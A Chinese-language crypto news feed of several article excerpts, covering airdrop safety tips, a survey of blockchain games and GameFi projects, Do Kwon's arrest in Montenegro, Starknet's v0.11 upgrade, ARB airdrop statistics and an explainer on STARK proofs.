交易数量限制：空投项目方可以限制每个地址可以进行的交易数量。这可以防止恶意用户通过进行大量交易来获取过多的代币。 持有时间限制：空投项目方可以要求持有代币的地址必须保持一定的时间才能获得空投的代币。这可以防止恶意用户快速买入和卖出代币来获取过多的代币。 其他佐证参考： 在参加空投时我们应该注意什么？ 最后，Beosin也注意到大家对空投的热衷，作为一家安全公司，我们有必要为大家做以下提醒。 1 了解项目的官方信息来源：在参与空投之前，应该去项目的官方网站和社交媒体页面查看相关信息，包括空投计划的具体细节和规则，以及空投代币的合约地址等。 2 不要轻易泄露个人信息和钱包地址：一些空投项目可能会要求参与者提供个人信息和钱包地址，但应该注意保护个人隐私和安全，不要将敏感信息泄露给不明身份的网站和项目。 3 注意风险提示和注意事项：在参与空投之前，一定要仔细阅读项目方发布的风险提示和注意事项，了解相关风险和注意事项，并确保自己具备足够的风险承受能力。  ( 5 min )
    热门链游盘点：未来的区块链游戏有哪些新可能？
    随着市场的回暖，区块链游戏行业也开始重新回暖，并与当前行业的新概念和热点，产生了深度的结合，并进一步赋予游戏更多的价值和更大的潜力。因此，veDAO研究院特地为大家梳理一下当前区块链游戏的发展脉络，并尝试解答一个问题：未来区块链游戏有哪些新可能？ 但在这之前，我们需要先了解下游戏以及区块链游戏的过往。 传统游戏 传统游戏就是我们目前见到的所有不涉及区块链要素的游戏，这一概念游戏往往具有中心化的架构模式，即「项目方VS玩家」，玩家在这一关系中为弱势群体，且游戏方的目的是将非付费玩家转变为付费客户。而玩家付费的第一诉求往往是为了获得更高的游戏体验。 但值得注意的是，从国际象棋到4X战略，从传统RPG桌游到AAA开放世界，游戏从来都不是单纯的娱乐，而是玩家争夺有限资源的平台。 而有限的资源，在传统游戏中，往往具有较高的现实价值，比如《梦幻西游》一件极品腰带能够卖出200万人民币。 那么博弈就会从游戏中延展到游戏之外，通过盗号、诈骗等手段来窃取玩家的资产。因此，找到一种资产确权的方案，就成为了传统游戏接触区块链的最佳契机。 早在2018年，网易就在游戏《逆水寒》中，引入了区块链概念来将玩家资产上链，并推出“伏羲通宝”要素，试图打通不同游戏的资产路径。 1.GameFi：GameFi是DeFi和NFT融合下的“游戏化金融”概念，是将金融产品以游戏的方式呈现，使DeFi的规则游戏化。GameFi真正进入加密市场参与者的视野，得益于Yearn.Finance的创始人Andre Cronje(AC)。AC曾在推特平台上强调“接下来，我们将进入GameFi(going forward we go into gamefi)。”自此，GameFi 的概念在社区被广泛讨论，新项目和新玩法层出不穷。 GameFi不是传统游戏的区块链化，其本质与游戏截然不同。传统游戏是把游戏体验作为游戏开发的第一要务，以及开发团队的盈利能力。 GameFi的首要任务是鼓励Play to Earn行为，并让用户获得可观的收益作为回报。核心诉求的差异使得GameFi与传统游戏的差异更加明显，尽管在开发思路和运营逻辑上有重叠。 尽管早期的GameFi产品均给人一种“粗制滥造”的感觉，像素的画风、枯燥的玩法，简单的交互。但在2022年GameFi热潮之后，整个GameFi开发者们普遍开始对游戏质量有了更高的要求，我们也能看得到，目前市场上的GameFi产品中，新增了许多画风、引擎和游戏玩法更为发达的产品。 2.链改：和GameFi概念并行发展的概念是「游戏链改」，指在传统游戏基础上植入区块链要素，类似与2018年的网易，不过现如今的游戏链改程度要更加深刻。 游戏链改的侧重点在于导量：即将传统游戏世界几十亿潜在游戏用户导入到Web3中，从而做到真正的发展。和GameFi不同，链改的游戏往往并不能给与用户令人满意的P2E回报，因为游戏方会担心游戏经济生命的过早结束。 此外，由于链改需要从一个现实世界已经存在的传统游戏身上着手，因此，在链改过程中，还会遇到商业化的问题，举个例子：当打算在某一款游戏中，将游戏的宠物做成NFT来进行链上发售时，往往会遇到传统游戏发行方的强烈反对，此举会被视为对发行方利益的侵占。而这也是链改游戏难以完全上链的原因。 尽管游戏链改有诸多困难，但不可否认的是，链改的游戏项目普遍具有当前GameFi产品难以抗衡的游戏品质，同时由于不完全上链，链改的游戏具有更加流畅的游戏体验以及复杂的游戏玩法。 可以说未来如果能解决复杂要素上链和商业化问题，基于全链的链改游戏，值得期待。 全链游戏，可以视为GameFi的概念升级，但又有所不同。简而言之，就是再尽可能提供更高游戏质量的前提下，将游戏的所有核心逻辑，包括状态存储、计算与执行等，全部部署于区块链上。尽管全链游戏有着更高的游戏质量只求，但完全的链上游戏，要去实现复杂的游戏内容、精致的美术等，就几乎不可能。GameFi也在追求着游戏质量的提升，而当前全链游戏表现形式和GameFi几乎没有区别。这也使得当前全链游戏和GameFi概念存在语义模糊的尴尬处境。 事实上，我们可以换个思路，对于全链游戏而言，最重要的问题是其经济周期的可持续性，而不是加强其Fun或Earn的属性之一。 GameFi的不同属性可以通过不同的游戏类型来体现，通过发行不同的游戏来逐步提高可玩性，但同一通证的底层经济模型仍然是通用的。只要一个GameFi通证经济模型能够有效运行，那么它的Fun属性和Earn属性就可以通过4到5款游戏一起实现。 如何保证经济模式的可持续性？一方面，想办法吸收更多的新玩家入场，这意味着GameFi需要进一步降低进入门槛，以及追求品质。目前，新玩家基于白皮书和资料对GameFi的了解较多，想要玩游戏往往需要付费。Free to paly模式正在成为一种趋势。 另一方面，拥抱元宇宙。游戏作为元宇宙生态的一个子集，也是元宇宙资产产生和转移所有权的重要方式，也将对底层元宇宙生态的运行承担重要责任。 元宇宙并非空中楼阁，而是基于现实互联网世界在未来映射的虚拟空间，所涵盖的范围也将从从泛娱乐扩展到互联网的每个角落。GameFi是目前用户了解元宇宙一个非常直观的窗口，它发端于游戏行业，但在未来必将进一步影响到社交、金融等人类社会生活的方方面面。 但不可否认的是，当前元宇宙概念发展依旧处于非常早期，且作为元宇宙基石的区块链游戏，无法搭建出能够完美反应元宇宙世界中繁多要素和复杂关系的多重经济模型。 简而言之，元宇宙的真正落地，需要区块链游戏变得足够复杂，这种复杂不是无意义的堆叠，而是善于运用各种新概念、新技术来让自己变得更加「可配置」。 如果说ZK是区块链基础设施建设的终局，那么元宇宙毫无疑问是区块链应用层开发的终局。 那么在这个终局到来之前，任何能够促进区块链游戏走向元宇宙的概念，都值得我们关注，并且其中也会蕴含难以估量的财富效应。 Arbitrum的新链Arbitrum Nova旨在用于社交应用和游戏，以扩展GameFi生态系统并加速Web3社交应用的开发。此前，Arbitrum公布了代币ARB的空投计划，并定于3月23日上线，其中，空投获取数量判断标准之一，便是是否使用过Arbitrum Nova。 据了解，Arbitrum Nova是于2022年6月推出的，基于AnyTrust技术的新的L2 rollup。该技术通过数据可用性联合组织（DAC），这种DAC方法使Arbitrum Nova成为交易量期望值高的项目的理想选择，例如经常制作新道具的游戏或具有多个链上交互的社交平台。并对资产的安全保障进行了优化。目前，Arbitrrum Nova专门为促进游戏和社交应用提供服务。 关于AI的探讨，veDAO研究院此前曾有文章进行阐述，本文不再赘述。 往期链接：https://mirror.xyz/0x901eA9e4c3D637C73a368B2bCD0E708992baE49C/er2fxF-3NEgZWukjhq7i4Zeix3FLiOpJPqeXbqNmHyE 如今，由人工智能生成的图像和视频已经非常先进，比如：生成式AI模型可以在Web3环境下协助创造大规模的游戏资产，包括头像、装备、车辆和文物等。游戏行业可以应用文本到图像生成式AI模型，能够从文字描述中产生创意资产和内容，甚至可以用于创建区块链游戏和元宇宙虚拟产品中的特效。 以Alethea AI为例，该公司推出了CharacterGPT项目作为另一个生成式AI示例。该项目采用多模态AI系统称为CharacterGPT来从文本描述中生成交互式AI角色，并实现了从文字到角色创作。这些交互式角色可以根据不同自然语言描述具有独特外观、声音、个性和身份。 VR是通过佩戴VR头显和设备进行的游戏和电影等项目，VR只能从视觉和听觉上感知。元宇宙是现实世界与虚拟世界的密切融合和互动，模拟的是五感。宇宙是我们所在的物理世界，所有在物理世界存在的元素都可以出现在元宇宙中，比如建筑，物品，社交，个人，教育等等。但这些内容的呈现都需要模拟五感，用“元”的存在将物理世界平移到元宇宙。 简单来说，VR是一种更新的技术，元宇宙是一种需要在虚拟世界做到尽可能拟真的社会关系构成，而GameFi就是元宇宙之前，通过智能合约确立，并以游戏化形式的展现的简单社会关系。 目前VR&AR与GameFi的关联性还较低，但也有一些项目方致力于探索二者结合的正确路径。借助VR、AR等技术，通过丰富的故事线、与玩家的频繁交互、拟真的画面、协调的音效等构成一个对认知要求高的环境，使玩家产生“沉浸感”。从而让VR&AR技术真正能够与承载社会关系的GameFi关联起来，并最终构成元宇宙。 一直以来，无论是早先的单NFT模型，还是当前主流的「双币种+NFT」模型，都无法解决一个「原罪」：用户在打金过程中，付出与回报的错位。原因就在于，当下GameFi游戏的「多币种经济模型」太过Ponzi，玩家打金产出的效用Token（Utility Token）没有价值支撑，短期随时归零，长期必定归零，终将只是一场比谁跑的快的游戏。 VCT，即资产价值捕获Token，它与游戏的治理Token和效用Token共同构成了一个新的经济模型范式，也就是所谓的「三币种经济模型」。 VCT Token与效用TokenUtility Token有很强的关联性：在数量上，不论发生通胀还是通缩，两者的比值永远保持1:1；在价格上，由于每一枚效用Token在任何时候都可以「行权」（从项目方手中兑换一枚VCT Token，进而将其兑换为相当于当前VCTToken 价格的稳定币）。因此，效用Token的价格总是大于或等于VCTToken的价格。 注：上述三币种模式，并非是GameFi演进的最优解，甚至一定程度上不能算作正确解。但可以想象的是，未来随着GameFi的发展，当囊括更多信息要素的需求出现时，不排除GameFi的经济模式会逐渐走向复杂化。 官网：https://metawarriors.world/ 推特：https://twitter.com/_metawarriors 更多信息：https://app.vedao.com/project Meta Warriors是一款革命性的在线多人完全去中心化的后末日僵尸游戏游戏，故事设定在一种致命病 毒传播两年后，这种病毒在几天内消灭了数百万人。 Meta Warriors分为四个部分： 1.僵尸城市：故事模式和任务模式。 2.在故事模式中，玩家可以通过选择相应的NFT角色深入僵尸城，去消灭僵尸，在与僵尸作战的过程中，玩家将获得NFT和WarX代币奖励。 3.在游戏任务模式中，玩家可以发现自己在僵尸之城相互竞争，并参与任务或特殊事件，从而获得特殊的NFT奖励。 4.幸存者岛：元宇宙。幸存者岛是一个真实世界岛屿的虚拟代表，比如印度尼西亚巴厘岛、西班牙马略卡岛、克罗地亚 达尔马提亚岛，在那里你可以在虚拟世界中模拟现实世界的活动。 幸存者岛是一个非暴力的区域，玩家可以在这里买卖土地，组织活动，建造土地。 玩家也可以通过VR设备来参观岛屿风景。 代币模型： MWS：治理代币，用于治理/升级/购买自己的角色NFT。 WarX：效用代币，用于升级自己的角色能力，购买游戏内资产。 官网：https://mirrorworld.fun/ 推特：https://twitter.com/joinmirrorworld Mirror World是一款结合AI同时打造3+款资产互通游戏的GameFi项目。 三款游戏结合了Roguelike玩法的ARPG游戏「Mirrama」、以 PVP为主的轻松休闲向的竞技场决斗游戏「Brawl of Mirrors」，以及一款以「SLG」为主要类型的游戏。 在自主发行3款不同类型游戏后，Mirror World还有加密世界「开放兼容」、「去中心化」的特质，将 Mirror World 变成属于所有人的内容足够丰富有趣，同时产生现实收益的「虚拟世界游乐场」。 游戏用户在创建一个角色后，就可以在该平台各个游戏间穿梭，不同游戏里获取的装备、道具等也能自由使用。作为GameFi平台，Mirror World的游戏内都有虚拟生命“ Mirrors”，这些游戏角色由AI驱动。而Mirror World在AI方面的合作伙伴是 Y Combinator孵化的AI初创企业Rct AI。此外，2021年11月，Mirror World基于此推出了首款AI对话芯片NFT——Soul。“智能NFT”的概念，让Mirror World在GameFi领域独树一帜，这也是其能够获得大批资本机构信赖的重要原因。 官网：https://ai-rein.net/ 推特：https://twitter.com/AIReinNFT 更多信息：https://app.vedao.com/project/ AI Rein是以AI未来世界为主题的日本全球NFT项目，采用独特的AI Motion技术，让NFT持有者通过电脑前置摄像头控制虚拟世界中的化身。其中，AI Rein Awakening是AI Rein元宇宙中的第二个NFT合集。艺术家是来自日本的著名艺术家，拥有数十万全球粉丝的支持。所以这一块在日本最大的动漫和cosplay社区组织的支持下，Ai Rein可以在动漫领域的衍生品开发将拥有无限可能。例如有机会和日本领先的出版商们进行合作，制作相关漫画和动画电影等。 AI Rein系列与AI Rein的GameFi游戏互通，持有者可以在游戏中获得不同职业的英雄、物品和代币作为虚拟世界中的工作奖励。不仅如此，NFT持有者还将拥有GameFi的核心资产权益，以DAO的形式成为GameFi社区成员。 官网：https://metacity.fun/ 推特：https://twitter.com/MetaCityArb MetaCity是一款基于Arbitrum构建的Metaverse IDLE NFT游戏，目标是成为全球公认的社交网络游戏。只要用户的设备连接到互联网，就可以随时随地玩到这款游戏。 MetaCity倡导Play and Earn，而不是Play to Earn。在游戏中，玩家将扮演城市的市长，负责通过各种运营策略，让城市变得更加繁荣。MetaCity在尽可能的让这一过程变得不那么枯燥， 在区块链技术的支持下，MetaCity是玩家可以通过玩游戏赚取加密货币或其他奖励的地方。所以现在，玩不仅有娱乐价值，还有真正的经济价值。玩家可以通过游戏行为获得治理币MCT或Diro（一种游戏内货币）。 Metaline 官网：https://www.metaline.games/ 推特：https://twitter.com/Metaline001 更多信息：https://app.vedao.com/project/ MetaLine是一款结合了GameFi 2.0、socialFi和metaverse元素的大型多人游戏，具有航海管理、冒险和策略玩法。玩家通过NFT来驱动游戏的任务系统。通过NFT、港口、生产、贸易、战斗和升级六大系统的协作，玩家可以创建属于自己的海洋帝国的元宇宙。独特的平行宇宙玩法，拓展了MetaLine的世界观，为探索平行宇宙开辟了更多可能。 MetaLine的使命不仅仅是创造一款电竞游戏，而是一个连接成千上万加密数字资产所有者的游戏元宇宙。MetaLine将创建一个可持续发展的生态系统，使游戏、数字资产所有权和游戏内交易得到全球认可。 Metaline分为NFT和Token两种资产： NFT： Token： 官网：https://trident.game/ 推特：https://twitter.com/TridentDAO 更多信息：https://app.vedao.com/project/ Trident 是一款基于Arbitrum 的 2D MMO游戏。根据官方文档描述，Trident合计将开发三款主要产品，分别为两款游戏Trident MMO和Trident Sprite Duels，以及一款去中心化交易所OasisSwap。 Trident MMO是一个程序生成的无限宇宙，玩家可以在其中探索世界、收集资源（死亡时也会掉落物品）、偷猎动物、与Boss战斗、互相残杀、做各种赏金任务。当前Trident MMO暂未向用户开放，据悉其Pre-Alpha版本预估会在3月份进行测试。 Trident Sprite Duels是一款允许玩家对战的回合制游戏，目前已上线Pre-Alpha 版本，玩家可选择各种“精灵”进行对战。 与当前主流GameFi倡导的Play to Earn相比，Trident提出了一个新的概念：Risk to Earn。简而言之，玩家们之间的关系不再被视为共同获利的伙伴，反而成为了彼此收益的来源：获胜者从失败者处赢得收益。在每场对战结束之后，Trident财库会从中“赏金”抽取一部分费用，这部分资金将被财库再投入至项目的开发、运营之中。 没有人不爱游戏，无论是朴素的猜拳还是虚拟世界的3A大作，从来不会因为世界金融环境的恶化而丧失受众的喜爱。区块链世界也如是一样，尽管GameFi概念，因为行业叙事的转向，短暂的被行业给忽略。但Game这个概念从未被抛弃，只是GameFi身上的“Fi”属性受到了行业的影响。 现如今，随着市场的整体回暖，GameFi又重新获得了热度。越来越多的相关开发团队也纷纷涌现，尽管我们乐见这样的繁荣，但一定程度上的“泥沙俱下”也加剧了我们做出正确选择的难度。到底该如何选择好的区块链游戏Alpha标的呢？这是需要我们共同思考的问题，或许本文所阐述的思路会对你有所帮助。 参考资料 Arbitrum Nova新手指南（附主要生态项目列表） 链接：https://www.odaily.news/post/5185920 万字详解全链游戏：基本介绍、生态现状及未来展望 链接：https://www.panewslab.com/zh/articledetails/kbqif0bo.html 人工智能在 Web3 中的应用：挑战、风险和前景 链接：https://foresightnews.pro/article/detail/27993  ( 5 min )
    Terra创始人Do Kwon黑山被捕，近10个月逃亡生活结束
    原文：《Terra 创始人 Do Kwon 黑山遭逮捕 韩国已持续追捕数月 或被引渡》 作者：Colin Wu 北京时间 3 月 23 日晚 8 时 51 分，黑山内政部长 Filip Adzic 在推特表示：黑山警方拘留了一名疑似通缉犯之一的韩国公民 Do Kwon，他是总部位于新加坡的 Terraform Labs 的联合创始人兼首席执行官。这位导致损失超过 400 亿美元的前“加密货币之王”因伪造证件在波德戈里察机场被拘留，韩国、美国和新加坡也提出了同样的（拘留）要求。我们正在等待官方确认身份。 https://twitter.com/filip_adzic/status/1638886164118802432 随后韩联社报道，韩国国家警察厅 23 日宣布，被推定为 CEO Do Kwon 的人和一名名叫 Han 的助手被黑山当局逮捕，目前正在确认身份。警方要求黑山提供指纹信息，以确认此人是否真的是 Do Kwon，目前正在等待回复。警察厅相关人士表示：“通过本人的身份证确认了年龄、国籍、姓名，并通过照片数据确认了与 Do Kwon 为同一人。” https://www.yna.co.kr/view/AKR20230323179251004?input=feed_police 纽约联邦检察官在黑山警方逮捕 Terraform Labs 创始人 Do Kwon 数小时后指控其欺诈。根据诉状，Kwon 被控串谋诈骗、商品欺诈、证券欺诈、电汇欺诈和串谋操纵市场。一位发言人向 CoinDesk 证实，美国司法部将寻求将他引渡到美国。该文件称，Kwon 在过去几年中引用了电视节目和与 Terraform Labs 相关账户的推文，做出了一些“不真实和误导性的重大事实陈述”。该文件称，Kwon“联系了一家美国贸易和投资公司的代表”，寻求该公司提供的“改变 UST 的市场价格”的帮助。SEC 在其自己的投诉中提出了类似的指控，CoinDesk 后来报道称这家公司似乎是 Jump Crypto。 https://www.coindesk.com/policy/2023/03/23/do-kwon-now-faces-criminal-fraud-charges/ 当地黑山媒体透露更多信息，两名韩国公民 Kwon Do Hyeong 和 Hon Chang Joon 因刑事犯罪被捕并被带到波德戈里察的基层国家检察官办公室 (ODT)，涉嫌文件伪造。 2023 年 3 月 23 日，在飞往迪拜的航班上进行护照检查时，二人使用了来自哥斯达黎加的伪造旅行证件。在检查行李时，还发现了来自比利时和韩国的旅行证件。国际刑警组织检查发现比利时的文件也是伪造的。根据 ODT 的命令，从他们身上拿走了 3 台笔记本电脑和 5 部手机。 https://www.pobjeda.me/clanak/jedan-od-najtrazenijih-svjetskih-bjegunaca-uhapsen-u-podgorici 据 DLNEWS 报道，塞尔维亚高科技犯罪特别检察官办公室负责人 Branko Stamenkovic 在周四的独家专访中告诉DL News，最后一次知道 Kwon 在塞尔维亚，贝尔格莱德警方一直在追踪他并开始引渡前程序。“我不知道他来这里有什么逻辑，我们很惊讶……也许他认为，因为我们与韩国没有双边引渡协议，他会很安全，但我们是同一国际条约的签署国。如果我知道他在哪里，我们会立即逮捕他。” 一段时间以来，韩国官员似乎一直在接近确定 Kwon 的位置。2 月韩国检察官前往塞尔维亚寻求协助追捕 Do Kwon。离开塞尔维亚并不难，这是一个内陆国家，与几个巴尔干国家共享一个漏洞百出的边界。塞尔维亚公民不需要护照即可进入黑山、波斯尼亚和北马其顿。“这很可能是由于塞尔维亚检察机关和警方为引渡、逮捕和补充证据而采取的行动，嫌疑人逃离该国试图在该地区避难。” 现在的焦点将转向 Do Kwon 是否可以被引渡到韩国面临欺诈指控。在韩国检察官于 9 月对他发出逮捕令后，国际刑警组织发布了一份寻求拘留他的红色通缉令。Terra 所在的新加坡当局也在调查 Kwon。美国 SEC 最近对 Kwon 和 Terra 提起了民事诉讼。 https://www.dlnews.com/articles/people-culture/do-kwon-detained-montenegro-terra-fugitive-interpol/ Do Kwon 于 1991 年生于韩国首尔，2015 年在斯坦福大学获得计算机科学学士学位后，为 Microsoft 和 Apple 短暂担任软件工程师。2016 年 1 月，Kwon 回到韩国发展并创立了自己的初创公司 Anyfi。随后Do Kwon 与他人共同创立了 Terraform Labs，2018年发布 Luna 与算法稳定币 UST。从 2022 年 5 月 9 日开始，UST 突然脱锚开始崩溃，Luna 从 119.51 美元的历史高点跌至“几乎为零”，一周内抹去了近 450 亿美元的市值。大约 200,000 名韩国 Luna 投资者受到损失。  ( 5 min )
    Starknet空投或即将来临：进行Starknet v0.11.0升级并任命5个委员会
    3月15日，Starknet在snapshot上进行了“Starknet Alpha v0.11”投票的测试。3月20日，Starknet基金会任命了包括拨备委员会在内的五个委员会。在Arbitrum公布空投方案之际，同为主流Layer 2之一且估值高达80亿美元的Starkware的项目进展引起了更多关注，Starknet Alpha v0.11更新和委员会的任命究竟意味着什么呢？ 根据官方文档，当前的Starknet有3个运行环境，其中Starknet主网运行的版本是v0.10.3，两个测试网Goerli Testnet 1和Goerli Testnet 2运行的是更新的版本v0.11.0。随着v0.11.0已经在测试网上稳定运行一段时间，满足了部署到主网上的条件。 Starknet Alpha v0.11.0主要是引入了Cairo 1.0智能合约，Cairo是Starkware发布的开源编程语言，本次升级重点是将基于Cairo 0的系统过渡到基于Cairo 1.0的系统。Cairo 1.0带来了新的可能性，包括定序器DOS保护、抗审查、降低计算成本等。它引入了一个安全中间层Sierra，可以保证每一个合约的执行都能被证明，这是Starknet去中心化的重要属性。在Starknet v0.11.0中，可以声明、部署和运行Cairo 1.0智能合约，还引入了一个新的系统调用，允许将现有合约平稳过渡到Cairo 1.0。 Cairo 1.0和Sierra的引入主要有以下几点影响： 在此之前，Starknet也已经进行过多次升级，包括为合约引入“类”和“实例”的Starknet v0.9.0，在交易中引入nonce的Starknet v0.10.0，引入定序器并行化的Starknet v0.10.2等。 需要注意，即将在主网更新的Alpha v0.11.0也只是过渡性版本，官方将“Cairo 1.0的测试——Alpha v0.11.0——仅支持Cairo 1.0”的路径称之为“再生之路”。Starknet Alpha v0.11.0可以兼容用新旧版本的Cairo语言编写的合约，在再生之前，新旧合约将能够共存并能够相互影响。再生之后，用旧版本Cairo语言编写的类以及这些类实例的合约将不再能得到支持。 再生之路可以保留应用程序的状态，并且不会给dapps带来停机。但是在再生过程中中，用户需要对钱包进行更新，Starknet的dapps的开发者需要将合约迁移到Cairo 1.0，并遵循升级指南。 可能会有用户关心，本次投票进行的Alpha v0.11.0升级是不是意味着Starknet将发行代币并进行空投呢？其实Starknet的原生代币STRK早在2022年11月16日就已经部署到了以太坊主网上。STRK代币总量100亿枚，将作为参与Starknet共识机制的质押代币，还将作为网络的治理代币和支付网络交易gas费的代币。虽然不能确定升级就是即将进行空投的信号，但也可能是重要的时间节点。 另外重要的一点，从测试投票开始，这些投票者就已经拥有STRK代币的投票权，说明Starknet可能已经向部分参与者分发了代币。近期，STRK开始频繁转账，大部分代币仍然由外部地址持有，但已经开始向合约地址转移。 空投规则可能已经开始制定中 3月20日，Starknet基金会宣布任命5个委员会，每个委员会都被赋予一项关键任务，这些委员会包括： 其中，拨备委员会负责规划、监督和执行Starknet生态系统代币STRK的拨备。该委员会将确保STRK代币公平、透明和去中心化的分配，监督为用户提供STRK代币，评估并向Starknet基金会提供符合条件的群体的建议。用户的空投规则很可能由拨款委员会制定。如果是开发者，已经开始在Starknet上构建项目的团队可以获得早期采用者拨款委员会的资助，其他开发者也可以通过开发者合作委员会引入Starknet生态系统。 可以认为，Starknet的空投标准可能已经在制定中，空投可能会在不久的将来到来。  ( 4 min )
    数据：75%的ARB空投已被领取，65%的ARB空投在领取后已出售
    PANews 3月24日消息，据推特用户余烬监测，截至目前，75%的ARB空投已被领取，65%的ARB空投在领取后已出售。 此外。余烬分享了链上买入ARB数量的前几名大户及他们的买入成本：1.0xb0fc开头地址使用373万枚USDC买入287万枚ARB，均价1.3美元；2.0x139开头地址使用355万枚USDC买入261万枚ARB，均价1.36美元；3.0xf53f开头地址使用195万枚USDC买入153万枚ARB，均价1.27美元；4.0x06e2开头地址使用980枚ETH（约合171万美元）买入148858枚ARB，均价1.15美元；5.0xe547开头地址使用164万枚USDC买入140万枚ARB，均价1.16美元；6.0x6ee1开头地址通过Uniswap V3单边池使用939枚ETH（约合164万美元）被动买入138.9万枚ARB，均价1.18美元。  ( 4 min )
    Arbitrum的空投“元游戏”：从1到100，加密社区建设的优质范本
    撰写：Delphi Digital 编译：深潮 TechFlow 在不到 24 小时内，Arbitrum 可能会向加密生态系统注入数十亿美元： Arbitrum 的空投是去中心化的案例研究： Arbitrum 通过推出其治理代币 $ARB 实现去中心化，以过渡到自我执行的 DAO 治理。 其供应量的 12.75％，即 12.75 亿代币，将分配给 Arbitrum 社区成员和 Arbitrum 生态系统中的 DAO。 将 Arbitrum 的治理去中心化是至关重要的，以确保随着基础层本身的升级，交易始终会汇总到标准的以太坊上。 将治理决策权交给持有者确保了没有中心化的故障点。 L2 解锁了以下实用性： 去中心化永续交易所利用了这些功能。 一个 L2 解锁的例子是 GMX，这是一个去中心化的永续和现货交易所。自在 Arbitrum 上推出以来，GMX 已经处理了超过 930 亿美元的交易量，并且最近在 TVL 方面创下了历史新高。 $GMX 在这个熊市环境中的强势表现是一个罕见的成就。 Arbitrum 的最接近的竞争对手是 Optimism，它也是一个 L2，也可以将交易结算到以太坊。 目前，$OP 的价值为 110 亿美元 FDV。如果我们使用 Optimism 作为衡量标准来衡量 Arbitrum，我们会发现 Arbitrum 在几乎所有指标上都领先： Arbitrum 和 Optimism 都使用了 Quest 活动，通过向用户奖励 NFT 来激励其使用。 虽然许多代币使用直接代币激励来吸引用户到他们的链上，但 Arbitrum 能够在不分发代币的情况下引导流动性。 空投经常被操纵，Arbitrum 的分配模型中有超过 135,000 个钱包被识别为女巫。 当 Optimism 的 Quests 于 1 月 17 日正式结束时，仅在 2 天内，Optimism 的每日交易量就从 602,000 下降了 72.5％，降至 165,000。 尽管空投快照已经过去，但由于注入了流动性，空投投机者可能很快被替换，甚至可能变成真正的用户。这很可能会引起链上生态系统的狂热。 今天，尽管空投已经结束，Arbitrum 的总锁定价值和每日交易量仍然达到历史新高。 Arbitrum 已经接受了系统的“玩家”，以协调激励并创建真正的网络效应。 随着生态系统的飞速增长，Arbitrum 有机会将空投投机者纳入到生态系统中，将他们的流动性注入回去。 在去年夏天有关加密游戏的一份报告中，我们探讨了“元游戏”的模型。 随着技能水平的提高，体验变得稀缺，竞争变得有意义，并且除核心游戏之外的货币化表面积增加。 游戏货币化的道路始于人们对活动的关注，然后在其周围玩“元游戏”。 同样地，从本质上来说，项目的推出可以被视为一个流动性“游戏”。 其货币化路径始于人们关注流动性本身，然后利用最有意义的流动性元数据进行“元游戏”玩耍。 因此，存在着超越核心游戏参与的巨大机会。空投是一个“元游戏”，可以由所有项目设计，以吸引更多用户加入，启动流动性。 对于这种游戏设计，没有比 Arbitrum 更好的案例研究。  ( 5 min )
    韩国检方将寻求引渡Do Kwon
    PANews 3月24日消息，据金十报道，韩国检方将寻求引渡Terra币创始人Do Kwon。此前Do Kwon昨日在黑山被捕，今日凌晨，美国检方对Do Kwon提起刑事欺诈指控，并寻求将Do Kwon引渡到美国。 相关阅读：Terra创始人Do Kwon黑山被捕，近10个月逃亡生活结束  ( 4 min )
    走进Stark：以太坊扩容的终极解决方案？
    原文：STARK: Endgame 翻译及校对：「Starknet 中文社区」 本篇博客内容基于 StarkWare 联合创始人兼执行总裁 Eli Ben-Sasson 教授在以色列举办的 StarkWare 2023 大会上的演讲。 STARK 技术基于证明，更准确地说是完整性证明。C.S.Lewis 教授曾将完整性定义为「即使无人监督也会做正确的事情」。完整性是目标，而证明则是达成目标的方式。STARK 利用数学保证完整性，即使在无人监督的情况下，也能确保计算能以正确的方式进行。 László Babai、Lance Fortnow、Leonid Levin 和 Mario Szegedy 在 1991 年的一篇文章中提出，用一台可靠的计算机去监控一组不可靠的超级计算机。这种「概率可检验证明」（Probabilistically Checkable Proofs，简称 PCP）技术利用数学来监控和确保大型计算的完整性，下文将阐述它的运行模式。 计算声明可以转化为数独式的谜题，其约束条件通过各种方式交错重叠。每个声明都会导致一个独特的谜题，提出声明的实体称为证明器，它所提交的证明相当于一个已填好的数独题（如下图所示）。正确声明所提交的解决方案需要满足与谜题相关的各种约束条件，而 PCP 最神奇的一个特点（也是在数学上最难确定的部分），即对于错误的计算声明，任何提交的解决方案都将违反至少 99% 的数独谜题约束条件。验证器是一台可靠但计算能力较弱的计算机，它知道需要解决的难题，以便证明一个声明的真实性。但验证器不会完整读取证明器提交的解决方案，而是会随机「抽样」一个约束条件，并检查该条件是否被满足，从而决定接受或拒绝该解决方案。鉴于真实声明（满足所有条件）和错误声明（无法满足超过 1% 的条件）之间的明显差异，可以利用统计和抽样的原理来进行验证。例如，验证器可以随机抽取 6 个约束条件并检查是否被满足。这样验证器就几乎可以确定计算是否完整（出错概率控制在万亿分之一）。可扩展性所需的最后一个神奇的特质是，即使数独谜题与计算中的步骤数量巨大，验证器也可以非常快速地抽样、读取并检查随机约束。事实上，这些所需的计算量远小于数独谜题的大小！ 走进 STARK PCP 技术于 20 世纪 90 年代开发，而 STARK 是其调整版本。两者的一个关键区别是，STARK 不是单纯的生成和填写数独谜题，而是在生成数独谜题和验证器填写完成的过程中，重复了数次。然后验证器从这个多维数独挑战中抽样一个约束条件，判断并决定是否接受或拒绝该声明。通过采用 STARK 技术，普通人也能检查并确保一些大公司、垄断企业或政府的正常运作。 这里的重点是这项技术将来可以在哪些实际场景中应用。在传统的情况下，很难找到这样一种情景：需要一台可靠但计算能力低的电脑来监控一组不可靠且不可信的超级电脑。我们在哪里可以找到可靠的低计算能力、每个人都信任的电脑情景呢？ 一种超越加密学和计算机的创新范畴在 2008 年横空出世：中本聪在 2008 年发表的《比特币，一种点对点的电子现金系统》论文彻底革新区块链领域。 横贯历史进程，交易曾经采用现金对商品的点对点方式，现如今交易则是依靠 Apple Pay、Visa、Swift 等中心化平台完成。用户需要信赖这些平台会透明公开的处理交易。 比特币消除对中间人的信任，恢复货币交易的点对点本质。以太坊进而推动该概念，允许构建社会经济结构的通用程序。 两条创新技术路线不断融会贯通。一方面，我们采用单个低计算但可靠的计算机实现大规模计算完整性的 PCP（STARK 技术）；另一方面，将区块链作为高度可靠的计算机，依靠数学验证大规模计算。并深刻认识到：区块链和数学实现完整性的完美结合。 视频：计算完整性 — 比特币的应用（ZCash 早期背景） 在 2018 年 StarkWare 率先提出采用 SATRK 有效性证明解决以太坊可扩展性难题。链下证明器和链上验证器计算差异，实现解锁大规模可扩展性。链下证明器处理批量交易并生成 STARK 证明，验证器则使用最小化计算检查链上证明。支持在链下处理大规模计算的同时用最低费用确保链上完整性。 从那以后，StarkWare 实现一个又一个里程碑：   STARK 